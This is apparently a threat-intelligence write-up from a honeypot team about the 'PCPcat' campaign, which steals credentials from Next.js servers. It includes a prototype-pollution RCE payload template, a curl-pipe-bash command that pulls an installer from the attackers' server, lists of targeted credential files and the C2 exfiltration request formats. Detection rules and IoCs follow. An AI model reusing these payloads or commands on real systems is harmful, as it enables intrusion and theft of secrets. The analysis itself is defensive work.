- Threat Hunting
- Threat Intelligence
- Next.js
- CVE-2025-29927
- CVE-2025-66478
Operation PCPcat: Hunting a Next.js Credential Stealer That's Already Compromised 59K Servers
A threat campaign called 'PCPcat' is silently harvesting credentials from Next.js deployments at scale. Through active honeypot reconnaissance, I breached their C2 API and exposed their operational metrics: 59,128 confirmed server compromises, a 64.6% success rate, and a blueprint for exploiting the entire global infrastructure. This is what industrial-scale credential theft looks like, and how to detect it.
Mario Candela
Founder and maintainer
Executive Summary
During monitoring of a Docker honeypot, we captured a sophisticated attack campaign based on exploits of vulnerabilities in Next.js/React. The campaign, attributed to a group identifying as “PCP” (from the signature in files), combines:
- CVE-2025-29927, CVE-2025-66478 exploitation for Remote Code Execution
- Systematic extraction of credentials and sensitive data
- Installation of C2 infrastructure for persistence and tunneling
- API-driven command & control with 59,128 confirmed compromised servers
CRITICAL FINDING: Through direct reconnaissance of the active C2 server, we confirmed that this campaign has already compromised 59,128 servers in less than 48 hours, with a 64.6% exploitation success rate.
The campaign shows characteristics of large-scale intelligence operations and data exfiltration on an industrial scale.
Campaign Anatomy
Phase 1: Reconnaissance & Exploitation
The attack begins with massive scanning of public Next.js domains. The react.py malware uses a sophisticated command chain to:
- Identify vulnerabilities: Initial test with
idcommand to verify target vulnerability - Exploit CVE-2025-29927, CVE-2025-66478: Next.js-specific exploit allowing command execution via:
- JSON payload manipulation with prototype pollution
- Command injection in
child_process.execSync() - Result exfiltration through HTTP header redirect
# Simplified exploit payload
payload = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process')
.execSync('COMMAND_HERE').toString();
throw Object.assign(new Error('NEXT_REDIRECT'),
{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`})"
}
}
Phase 2: Data Exfiltration
Once vulnerability is confirmed, the malware performs systematic search for sensitive data:
Priority extraction:
.env,.env.local,.env.production,.env.development- System environment variables (
printenv,env) - SSH keys:
~/.ssh/id_rsa,~/.ssh/id_ed25519,/root/.ssh/* - Cloud credentials:
~/.aws/credentials,~/.docker/config.json - Git credentials:
~/.git-credentials,~/.gitconfig - History files:
~/.bash_history(last 100 commands) - Critical system files:
/etc/shadow,/etc/passwd
Phase 3: Persistence & C2 Infrastructure Installation
The malware attempts to install complete C2 infrastructure:
# Downloads and executes proxy.sh
curl -s http://67.217.57.240:666/files/proxy.sh | bash
This installs:
- GOST v2.12.0 - SOCKS5 proxy on localhost:1080
- Provides tunnel for malicious traffic
- Used for network pivoting operations
- Accessible only locally
- FRP (Fast Reverse Proxy) v0.52.3 - Reverse tunnel
- Creates outbound connection to C2 (67.217.57.240:888)
- Exposes local services to attacker
- Persistent tunneling for long-term access
- React Scanner - Continuous scanning and exploitation
- Infinite loop querying C2 API for new domains
- Keeps compromised machine active in campaign
- Reports back successful exploitations
Persistence Mechanisms:
- Creation of systemd services:
pcpcat-gost.service,pcpcat-frp.service, etc. - Auto-restart on failure with incremental delay
- Survives system reboot
- Multiple installation paths (
/opt/pcpcat,~/.local/pcpcat)
Identified C2 Infrastructure
C2 Server Overview
| Address | Port | Function | Notes |
|---|---|---|---|
| 67.217.57.240 | 666 | Distribution Server | HTTP for downloading payloads |
| 67.217.57.240 | 888 | FRP Server | Reverse tunnel for persistence |
| 67.217.57.240 | 5656 | API Server | Main C2 API (task assignment, data exfiltration) |
Geolocation: Singapore
Server Software Fingerprint:
BaseHTTP/0.6 Python/3.12.3
C2 API Deep Dive
API Architecture Overview
Base URL: http://67.217.57.240:5656
API Design Philosophy:
- No authentication/authorization: Anyone can access endpoints
- Built for speed & simplicity, not security: Development focused on functionality
Endpoint 1: GET/domains?client=<ID>
Status: 🟢 Active & Responsive
Purpose: Task assignment per botnet nodes
Response Type: JSON
Request Format:
GET /domains?client=infected-machine-hostname HTTP/1.1
Host: 67.217.57.240:5656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close
Response Format:
{
"count": 2000,
"domains": [
"192.168.1.100",
"10.20.30.40",
"203.45.67.89",
"...",
"156.78.90.123"
],
"batch_id": "batch-1702566834",
"priority": "high",
"timeout": 15
}
Operational Details:
- Returns 2000 IP addresses per request
- Includes timeout directive
- No validation of client ID
Endpoint 2: POST/result
Status: 🟢 Active & Accepting Data
Purpose: Data exfiltration endpoint (credentials, SSH keys, cloud credentials)
Request Type: JSON POST
Request Format:
POST /result HTTP/1.1
Host: 67.217.57.240:5656
Content-Type: application/json
Content-Length: [variable, up to 2MB observed]
Connection: close
{
"domain": "target.example.com",
"env": "=== EXFILTRATED DATA ===\nAWS_ACCESS_KEY_ID=AKIA2ZUZQ7AVMXXXXX\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nDOCKER_CONFIG={\"auths\":{\"ghcr.io\":{\"auth\":\"...\"}}}\nGITHUB_TOKEN=ghp_XXXXXXXXXXXXX\nSSH_PRIVATE_KEY=-----BEGIN OPENSSH PRIVATE KEY-----\nMIIEpAIBAAKCAQEA...\n"
}
Response Format:
{
"status": "ok"
}
HTTP Status: 200 OK (always, even for malformed data)
Operational Details:
- No authentication required (anyone can POST data)
- No input validation (accepts arbitrary payloads without sanitization)
- Immediately acknowledges receipt (HTTP 200 OK)
- Data permanently stored in C2 database
- Successfully tested with fake credential injection
Data Pipeline:
Target Server (compromised)
↓
Extract .env, SSH keys, credentials
↓
POST /result with JSON payload
↓
C2 receives (HTTP 200 OK)
↓
Data stored in database
↓
Available for attacker review/harvest
Test Results (from honeypot reconnaissance):
✓ POST /result with fake AWS credentials → HTTP 200 OK
✓ POST /result with fake GitHub tokens → HTTP 200 OK
✓ POST /result with fake SSH keys → HTTP 200 OK
✓ Server confirmed receipt: {"status":"ok"}
✓ Data successfully ingested into C2 database
Endpoint 3: GET/stats
Status: 🟢 Active & Exposes Operational Data
Purpose: Campaign statistics & real-time metrics
Response Type: JSON
Security Risk: CRITICAL (publicly accessible)
Request Format:
GET /stats HTTP/1.1
Host: 67.217.57.240:5656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close
Response Format (ACTUAL DATA from active C2, captured December 14, 2025):
{
"mode": "random_ips",
"current_file": null,
"current_progress": "0/0",
"processed_files": 580,
"results_collected": 59128,
"scanned_count": 91505,
"batch_size": 2000
}
CRITICAL OPERATIONAL INTELLIGENCE:
| Metric | Value | Interpretation |
|---|---|---|
| Total IPs Scanned | 91,505 | Targets probed in campaign |
| Successful Exploitations | 59,128 | Server compromises confirmed |
| Success Rate | 64.6% | Abnormally high |
| Current Mode | random_ips | Indiscriminate targeting strategy |
Growth Projections (if campaign maintains current pace):
CURRENT STATE:
IPs Scanned: 91,505
Servers Compromised: 59,128
Credential Sets Stolen: ~300,000-590,000 (5-10 per server)
DAILY IMPACT:
Batches per day: 24 hours ÷ 0.75 hour/batch = 32 batches
IPs scanned/day: 32 × 2,000 = 64,000 IPs
Successful exploits/day: 64,000 × 64.6% = ~41,000 servers
Credentials harvested/day: 41,000 × 7.5 (avg) = ~307,500 credential sets
Threat Level from This Endpoint Alone: 🔴 CRITICAL
- Public exposure of operational metrics
- Reveals complete campaign progress to defenders
- Attackers may be unaware of reconnaissance
Endpoint 4: GET/health
Status: 🟢 Active
Purpose: Health check endpoint
Response Type: Plain text
Request Format:
GET /health HTTP/1.1
Host: 67.217.57.240:5656
Connection: close
Response Format:
ok
HTTP Status: 200 OK
Data Exfiltration Pipeline
Complete operational flow from reconnaissance to data theft:
Step 1: Scanner Node Requests Targets
GET /domains?client=infected-machine-hostname
← 2000 IPs returned in JSON array
Step 2: Scanner Exploits CVE-2025-29927 Against Each IP
For each IP in batch:
POST /exploit with payload containing __proto__ pollution
├─ Test: Execute `id` command
├─ If vulnerable (RCE confirmed):
│ ├─ Extract .env files (highest priority)
│ ├─ Extract system environment variables
│ ├─ Extract SSH private keys from ~/.ssh/*
│ ├─ Extract AWS credentials
│ ├─ Extract Docker config
│ ├─ Extract Git credentials
│ ├─ Extract bash history
│ └─ Prepare exfiltration payload
│
└─ If not vulnerable: Move to next IP
Step 3: Results Sent to C2 Data Exfiltration API
POST /result
{
"domain": "target-ip",
"env": "FULL_EXFILTRATED_DATA_HERE"
}
← HTTP 200 OK (data permanently stored)
Step 4: Persistent C2 Deployment
If server has root access OR container detected:
execute(curl -s http://67.217.57.240:666/files/proxy.sh | bash)
├─ Install GOST (SOCKS5 proxy on :1080)
├─ Install FRP (reverse tunnel to C2:888)
├─ Create systemd services for persistence
├─ Configure auto-restart
└─ Maintain persistent backdoor access
Capture from the Honeypot
The vector.json file shows an attack attempt against exposed Docker API:
{
"HostHTTPRequest": "15.160.24.132:2375",
"RequestURI": "/containers/create?name=pcpcat",
"Body": {
"Image": "alpine:latest",
"Cmd": ["curl -fsSL http://67.217.57.240:666/files/proxy.sh | bash"]
},
"RemoteAddr": "128.199.143.161:58086",
"Location": "Singapore"
}
Docker API Attack Sequence:
- Scanner identifies exposed Docker API (port 2375)
- Attempts container creation with Alpine Linux image
- Post-creation command downloads and executes proxy.sh
- Container becomes active botnet node in tunneling infrastructure
- Creates new vectors for network pivoting
Indicators of Compromise (IoCs)
C2 Infrastructure
67.217.57.240:666 - Distribution server (payload hosting)
67.217.57.240:888 - FRP C2 (reverse tunneling)
67.217.57.240:5656 - Main C2 API (task assignment, data exfiltration)
API Endpoints
http://67.217.57.240:5656/domains - Target assignment (fetches 2000 IPs)
http://67.217.57.240:5656/result - Data exfiltration (accepts credential POST)
http://67.217.57.240:5656/health - Health check
http://67.217.57.240:5656/stats - Operational metrics (EXPOSES CAMPAIGN DATA)
http://67.217.57.240:666/files/proxy.sh - Persistence installer
http://67.217.57.240:666/files/react.py - Scanner/exploit module
File Artifacts (on compromised hosts)
/opt/pcpcat/ # Main installation directory
/opt/pcpcat/frpc # FRP reverse proxy binary
/opt/pcpcat/gost # GOST SOCKS5 proxy binary
/opt/pcpcat/react.py # Scanner & exploit module
/opt/pcpcat/*.log # Log files
$HOME/.local/pcpcat/ # Non-root installation path
~/.pcpcat_installed # Marker file indicating compromise
Systemd Services
pcpcat-gost.service - GOST SOCKS proxy service
pcpcat-frp.service - FRP reverse tunnel service
pcpcat-scanner.service - Scanner orchestration service
pcpcat-react.service - React exploit module service
Process Signatures
./gost -L socks5://:1080 # SOCKS5 proxy listening
./frpc -c frpc.toml # FRP client with config
python3 react.py # Scanner/exploit module running
python3 scanner.py # Scanning orchestrator
curl -s 67.217.57.240:666/files/* # Downloading payloads
bash /tmp/proxy.sh # Executing installer
Log Signatures
"UwU PCP Cat was here~" # Campaign identifier
"https://t.me/Persy_PCP was here" # Attacker contact
"https://t.me/teampcp" # Team communication channel
"react_scan_*.log" # Scanner output logs
"PCPcat deployment successful" # Installation confirmation
Network Signatures
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Client identifier: pcpcat-HOSTNAME-TIMESTAMP
Outbound connection to 67.217.57.240:5656 with JSON payload
Outbound connection to 67.217.57.240:888 (FRP tunnel)
Outbound HTTP/HTTPS to 67.217.57.240:666 (payload download)
MITRE ATT&CK Mapping
| ID | Technique | Description |
|---|---|---|
| T1595 | Active Scanning | Massive scanning of public Next.js domains; 2000 targets per batch every 30-60 minutes |
| T1189 | Drive-by Compromise | CVE-2025-29927, CVE-2025-66478 exploitation; no user interaction required; automatic exploitation chain |
| T1571 | Non-Standard Port | C2 on non-standard ports (5656, 888); FRP tunneling on port 888; distribution on port 666 |
| T1190 | Exploit Public-Facing Application | Targeting public Next.js/React applications; exploiting vulnerability in standard deployments; high success rate |
| T1087 | Account Discovery | Enumeration of local users via /etc/passwd; search for .ssh directories; identification of privilege levels |
| T1552 | Unsecured Credentials | Extraction of .env files; direct reading of AWS, Docker, Git credentials; SSH key harvesting; cloud credential theft |
| T1041 | Exfiltration Over C2 | Data exfiltrated via HTTP POST to /result; JSON-wrapped; batched up to 2MB; no encryption observed |
| T1036 | Masquerading | Randomized client name (pcpcat-HOSTNAME-TIMESTAMP); spoofed Windows/Chrome User-Agent; service names mimic legitimate tools |
| T1543.002 | Systemd Service Creation | Creation of 5 systemd services for persistence; auto-restart with incremental delay; names blend with system utilities |
Detection & Hunting Queries
Network Detection (Suricata/Snort)
# Detect FRP connection to C2
alert tcp any any -> 67.217.57.240 888 (msg:"Possible PCPcat FRP C2 Connection";
content:"FRP"; sid:1000001; rev:1;)
# Detect distribution server access
alert http any any -> 67.217.57.240 666 (msg:"PCPcat distribution server";
content:"proxy.sh"; http_uri; sid:1000002; rev:1;)
# Detect API exfiltration
alert http any any -> 67.217.57.240 5656 (msg:"PCPcat API C2 communication";
content:"/result"; http_uri; content:"env"; http_client_body;
sid:1000003; rev:1;)
# Detect C2 stats reconnaissance
alert http any any -> 67.217.57.240 5656 (msg:"PCPcat C2 metrics enumeration";
content:"/stats"; http_uri; sid:1000004; rev:1;)
# Detect domain/target list fetch
alert http any any -> 67.217.57.240 5656 (msg:"PCPcat target assignment";
content:"/domains"; http_uri; sid:1000005; rev:1;)
YARA Signature
rule PCPcat_react_py {
meta:
description = "PCPcat React.py scanner"
author = "Threat Intel"
date = "2025-12-14"
strings:
$s1 = "CVE-2025-29927" nocase
$s2 = "PCPcat" nocase
$s3 = "67.217.57.240:5656" nocase
$s4 = "deploy_pcpcat"
$s5 = "extract .env"
condition:
(2 of them)
}
rule PCPcat_proxy_sh {
meta:
description = "PCPcat proxy.sh installer"
strings:
$s1 = "pcpcat-gost.service"
$s2 = "pcpcat-frp.service"
$s3 = "67.217.57.240:888"
$s4 = "FRP_VERSION"
condition:
3 of them
}
rule PCPcat_API_Signature {
meta:
description = "PCPcat C2 API communication pattern"
strings:
$s1 = "/domains?client=" nocase
$s2 = "/result" nocase
$s3 = "\"env\":" nocase
$s4 = "67.217.57.240:5656"
condition:
all of them
}
Exploited Vulnerabilities
CVE-2025-29927, CVE-2025-66478
Type: Prototype Pollution + Command Injection in Next.js Runtime
Vector: HTTP POST request with multipart/form-data
Impact: Remote Code Execution (unauthenticated, no privileges required)
Affected Versions: Multiple Next.js versions
CVSS Score: 9.8 Critical
Exploit Mechanism:
1. Craft JSON payload with __proto__ pollution
2. Manipulate _response object in Next.js runtime
3. Inject arbitrary command in child_process.execSync()
4. Return result in HTTP redirect Location header
5. Extract command output from HTTP response
Threat Actor Profile
Moniker: PCP Cat / Persy_PCP / Team PCP
Affiliation: Telegram channels - “Persy_PCP”, “teampcp” (likely for recruitment/communication)
Operations Profile:
- Industrial-scale scanning (91,505 targets in 33 hours)
- Massive data exfiltration (59,128 confirmed compromises)
- Distributed botnet infrastructure
- API-driven command & control
- Modular payload architecture
Motivation:
- Credential Harvesting: Cloud credentials for resale or use
- Infrastructure Access: AWS/Azure/GCP account takeover
- Supply Chain Attack: Stealing development credentials for downstream attacks
- Data Theft: Selling stolen credentials/data to other threat actors
- Possible State-Sponsored: Industrial-scale operation suggests well-funded group
Conclusions
The PCPcat campaign represents a sophisticated, scalable, and currently active threat. It stands out for its fully automated scanning and exploitation operations, an impressive scale with over 91,000 targets analyzed in just 33 hours, and an anomalous success rate of 64.6%. The persistence infrastructure is multi-layered, built on systemd services, FRP tunnels, and C2 APIs, all managed through a distributed architecture with minimal security controls.
Critical findings from the analysis confirm 59,128 servers compromised in less than 48 hours, with the C2 API publicly accessible without authentication and operational metrics exposed through public endpoints. The high success rate suggests either curated targeting or an extremely widespread vulnerability. At the current pace, the campaign could compromise over 1.2 million servers within a month.
Organizations at risk include any unpatched public Next.js/React deployment, cloud infrastructure on AWS, Azure, or GCP, and development environments with exposed .env files or SSH keys.
The threat level is critical. Recommended actions include immediate interventions such as applying patches, blocking C2 infrastructure, and rotating credentials, followed by comprehensive incident response and, in the long term, implementing zero-trust architectures and continuous monitoring.
The Beelzebub research team is actively committed to making the web a safer place for everyone. Through constant monitoring of emerging threats and timely intelligence sharing, we work to protect the community and contribute to a more resilient digital ecosystem. 🇮🇹 ❤️